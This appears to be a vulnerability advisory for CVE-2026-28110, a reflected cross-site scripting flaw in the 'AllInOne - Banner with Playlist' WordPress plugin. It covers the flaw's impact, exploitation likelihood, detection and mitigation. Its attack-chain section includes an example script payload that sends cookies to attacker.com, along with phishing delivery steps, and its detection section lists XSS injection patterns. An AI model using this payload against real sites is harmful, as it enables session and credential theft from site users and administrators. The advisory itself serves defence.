CVE-2026-28110: 
WordPress vulnerability analysis and mitigation

CVE-2026-28110 is a Reflected Cross-Site Scripting (XSS) vulnerability in the LambertGroup "AllInOne - Banner with Playlist" WordPress plugin. It affects all versions of the plugin up to and including version 3.8. The vulnerability was disclosed on March 5, 2026, with the CVE record submitted by Patchstack. It carries a CVSS v3.1 base score of 7.1 (High), as assessed by CISA-ADP (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Reflected XSS variant. The root cause is insufficient sanitization or escaping of user-supplied input that is reflected back in the plugin's web page output. An attacker can craft a malicious URL containing a JavaScript payload that, when visited by a victim, executes in the context of the victim's browser session. No authentication is required to exploit this vulnerability, but user interaction (clicking a crafted link) is necessary (Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of a victim who clicks a malicious link, with the scope changed to affect the victim's session on the WordPress site. This can result in session token theft, credential harvesting, unauthorized actions performed on behalf of the victim (including administrative actions if the victim is an admin), and potential defacement or redirection. The confidentiality, integrity, and availability impacts are all rated Low under the CVSS assessment (Patchstack).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.029%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (Patchstack).

1. Reconnaissance: Identify WordPress sites running the "AllInOne - Banner with Playlist" plugin (slug: all-in-one-bannerWithPlaylist) at version 3.8 or earlier, using tools like WPScan or passive enumeration.
2. Identify vulnerable parameter: Determine which URL parameter(s) handled by the plugin are reflected unsanitized in the page response.
3. Craft malicious URL: Construct a URL targeting the vulnerable plugin endpoint with a reflected XSS payload embedded in the vulnerable parameter, e.g., https://target-site.com/?plugin_param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a target victim (e.g., a WordPress administrator) via phishing email, social engineering, or other means.
5. Achieve objective: When the victim clicks the link and loads the page, the injected script executes in their browser, potentially stealing session cookies, performing actions as the victim, or redirecting to a malicious site (Patchstack).

• Network: HTTP requests to WordPress pages with URL parameters containing encoded JavaScript (e.g., <script>, javascript:, onerror=, onload=) associated with the all-in-one-bannerWithPlaylist plugin endpoints.
• Logs: Web server access logs showing GET requests with suspicious query strings containing HTML/JavaScript injection patterns directed at plugin-related URLs.
• Logs: Outbound requests from victim browsers to unknown external domains shortly after accessing plugin-related pages, potentially indicating cookie exfiltration.

Users should update the "AllInOne - Banner with Playlist" WordPress plugin to a version beyond 3.8 if a patched release is available from the plugin author or the WordPress plugin repository. If no patched version is available, site administrators should consider deactivating and removing the plugin until a fix is released. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts in the interim (Patchstack).